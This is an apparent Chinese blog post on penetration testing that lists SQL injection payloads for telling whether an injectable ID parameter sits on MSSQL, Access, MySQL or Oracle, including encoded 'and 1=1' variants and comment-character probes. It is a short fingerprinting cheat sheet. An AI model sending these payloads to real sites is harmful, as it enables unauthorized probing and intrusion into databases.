【渗透测试】-SQL注入之注入点判断数据库类型

0x01:MSSQL

ID=1and(selectcount(*)fromsysobjects)>0返回正常

ID=1and(selectcount(*)frommsysobjects)>0返回异常

ID=1andleft(version(),1)=5%23//红色字体也可能是4

ID=1andexists(selectidfromsysobjects)

ID=1andlength(user)>0

ID=1CHAR(97) +CHAR(110) +CHAR(100) +CHAR(32) +CHAR(49) +CHAR(61) +CHAR(49)

0x02:ACCESS

ID=1and(selectcount(*)fromsysobjects)>0返回异常

ID=1and(selectcount(*)frommsysobjects)>0返回异常

0x03:MYSQL

id=2andversion()>0返回正常

id=2andlength(user())>0

id=2CHAR(97,110,100,32,49,61,49)

0x04:ORACLE

ID=1and'1'||'1'='11

ID=1and0<>(selectcount(*)fromdual)

ID=1CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

0x05:其他方法

“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,424评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,098评论 0 5
  • 一.数据控制语句(DML)部分 1.INSERT(往数据表里插入记录的语句) INSERTINTO表名(字段名1,...
    浮浮尘尘阅读 3,570评论 0 19
  • 1.简介 数据存储有哪些方式?电子表格,纸质文件,数据库。 那么究竟什么是关系型数据库? 目前对数据库的分类主要是...
    乔震阅读 1,776评论 0 2
  • 在每次看到,高中的同學分享他們學校里自己的照片,自己的生活時,心裡總是隱隱羨慕,嫉妒。然而,今天再想想,是因為自己...
    冷眼如画阅读 217评论 0 0